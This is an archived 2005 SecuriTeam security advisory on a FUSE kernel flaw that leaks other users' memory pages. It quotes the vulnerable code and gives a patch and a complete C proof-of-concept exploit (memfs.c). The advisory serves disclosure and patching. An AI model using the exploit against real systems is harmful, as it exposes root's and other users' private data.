[UNIX] FUSE Information Disclosure

From: SecuriTeam (support_at_securiteam.com)
Date: 06/08/05

  • Next message: SecuriTeam: "[TOOL] Rootsh - Shell Key Logger Tool"
    To: list@securiteam.com
    Date: 8 Jun 2005 16:50:44 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FUSE Information Disclosure
    ------------------------------------------------------------------------

    SUMMARY

    " <http://fuse.sourceforge.net/> FUSE makes it possible to implement a
    filesystem in a userspace program. Features include: simple yet
    comprehensive API, secure mounting by non-root users, support for 2.4 and
    2.6 Linux kernels, multi-threaded operation. etc..."

    Lack of range validation in FUSE allows attackers to reveal information
    from the file system regardless of the user permissions.

    DETAILS

    Vulnerable Systems:
     * FUSE version 2.2.9 and prior
     * Linux kernel 2.2
     * Linux kernel 2.2.1
     * Linux kernel 2.3-pre all sub versions
     * Linux kernel 2.3-rc1
     * Linux kernel 2.4 family
     * Linux kernel 2.6 family

    Immune Systems:
     * FUSE version 2.3.0

    Vulnerable Code:
    In kernel/dev.c the function fuse_copy_pages receives the parameter
    nbytes. If the parameter nbytes is equal to zero, attackers can obtain
    sensitive information from other pages then the current one, including
    root and other users.

    kernel/dev.c:
    static int fuse_copy_pages(struct fuse_copy_state *cs, unsigned nbytes,
                               int zeroing)
    {
            unsigned i;
            struct fuse_req *req = cs->req;
            unsigned offset = req->page_offset;
            unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);

            for (i = 0; i < req->num_pages && nbytes; i++) { // <--- nbytes
    can be 0
                    struct page *page = req->pages[i];
                    int err = fuse_copy_page(cs, page, offset, count,
    zeroing);
                    if (err)
                            return err;

                    nbytes -= count;
                    count = min(nbytes, (unsigned) PAGE_SIZE);
                    offset = 0;
            }
            return 0;
    }

    static inline int fuse_copy_page(struct fuse_copy_state *cs, struct page
    *page,
                                     unsigned offset, unsigned count, int
    zeroing)
    {
            if (page && zeroing && count < PAGE_SIZE) {
                    void *mapaddr = kmap_atomic(page, KM_USER1);
                    memset(mapaddr, 0, PAGE_SIZE);
                    kunmap_atomic(mapaddr, KM_USER1);
            }

            ....
    }

    kernel/file.c:
    static int fuse_readpage(struct file *file, struct page *page)
    {
            ....

            req->num_pages = 1;
            req->pages[0] = page;
            req->out.page_zeroing = 1;

            ....
    }

    Workaround:
    Install the patch or update to fuse-2.3.0.

    Patch:
    Index: linux/fs/fuse/dev.c
    -==================================================================
    --- linux.orig/fs/fuse/dev.c 2005-06-01 12:22:08.000000000 +0200
    +++ linux/fs/fuse/dev.c 2005-06-02 11:10:08.000000000 +0200
    @@ -525,7 +525,7 @@ static int fuse_copy_pages(struct fuse_c
            unsigned offset = req->page_offset;
            unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);

    - for (i = 0; i < req->num_pages && nbytes; i++) {
    + for (i = 0; i < req->num_pages && (nbytes || zeroing); i++) {
                    struct page *page = req->pages[i];
                    int err = fuse_copy_page(cs, page, offset, count,
    zeroing);
                    if (err)

    Exploit:
    /*
        memfs.c: Proof of concept exploit for FUSE < 2.3.0
        
        memfs.c is based on fuse/example/hello.c from Miklos Szeredi
        
        Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
        
        Build: Copy memfs.c over hello.c and run make in the fuse base
    directory
        
        Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat
    /mnt/getmem/memfs ;
               If you see random bytes you are vulnerable.
               
        Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
        
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu>

        This program can be distributed under the terms of the GNU GPL.
    */

    #include <fuse.h>
    #include <stdio.h>
    #include <string.h>
    #include <errno.h>
    #include <fcntl.h>

    static const char *memfs_str = "";
    static const char *memfs_path = "/memfs";

    static int memfs_getattr(const char *path, struct stat *stbuf)
    {
        int res = 0;

        memset(stbuf, 0, sizeof(struct stat));
        if(strcmp(path, "/") == 0) {
            stbuf->st_mode = S_IFDIR | 0755;
            stbuf->st_nlink = 2;
        }
        else if(strcmp(path, memfs_path) == 0) {
            stbuf->st_mode = S_IFREG | 0444;
            stbuf->st_nlink = 1;
            stbuf->st_size = 4223;
        }
        else
            res = -ENOENT;

        return res;
    }

    static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t
    filler)
    {
        if(strcmp(path, "/") != 0)
            return -ENOENT;

        filler(h, ".", 0, 0);
        filler(h, "..", 0, 0);
        filler(h, memfs_path + 1, 0, 0);

        return 0;
    }

    static int memfs_open(const char *path, struct fuse_file_info *fi)
    {
        if(strcmp(path, memfs_path) != 0)
            return -ENOENT;

        if((fi->flags & 3) != O_RDONLY)
            return -EACCES;

        return 0;
    }

    static int memfs_read(const char *path, char *buf, size_t size, off_t
    offset,
                          struct fuse_file_info *fi)
    {
        size_t len;
        (void) fi;
        if(strcmp(path, memfs_path) != 0)
            return -ENOENT;

        len = strlen(memfs_str);
        if (offset < len) {
            if (offset + size > len)
                size = len - offset;
            memcpy(buf, memfs_str + offset, size);
        } else
            size = 0;

        return size;
    }

    static struct fuse_operations memfs_oper = {
        .getattr = memfs_getattr,
        .getdir = memfs_getdir,
        .open = memfs_open,
        .read = memfs_read,
    };

    int main(int argc, char *argv[])
    {
        return fuse_main(argc, argv, &memfs_oper);
    }

    /* EOF */

    Disclosure Timeline:
    2005-06-01 issue found by Sven Tantau
    2005-06-02 vendor contacted
    2005-06-02 quick vendor reaction with confirmation, patch and public
    disclosure
    2005-06-06 release of this advisory + exploit

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:sven@sven-tantau.de> Sven
    Tantau .
    The original article can be found at:
    <http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt>
    http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] Rootsh - Shell Key Logger Tool"

    Relevant Pages

    • [UNIX] Linux Kernel ALSA snd_mem_proc_read Information Disclosure Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel ALSA snd_mem_proc_read Information Disclosure Vulnerability ...
      (Securiteam)
    • [UNIX] Linux Kernel SCTP-AUTH API Information Disclosure Vulnerability and NULL Pointer Derefere
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel SCTP-AUTH API Information Disclosure Vulnerability and NULL ... SCTP_STATIC int sctp_getsockopt(struct sock *sk, int level, int optname, ...
      (Securiteam)
    • [EXPL] Linux Kernel do_mremap Improved Test
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel ... do_mremap Local Privilege Escalation Vulnerability, ... * GNU General Public License for more details. ...
      (Securiteam)
    • [UNIX] Linux Kernel cpuset tasks Information Disclosure Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel cpuset tasks Information Disclosure Vulnerability ... In order to exploit this vulnerability, an attacker would need access to ...
      (Securiteam)
    • [UNIX] chmlib Buffer Overflow (Technical Details)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CHMLIB is "a library for dealing with Microsoft ITSS/CHM format files. ... static Int64 _chm_decompress_block(struct chmFile *h, ... static int _chm_get_cmpblock_bounds(struct chmFile *h, ...
      (Securiteam)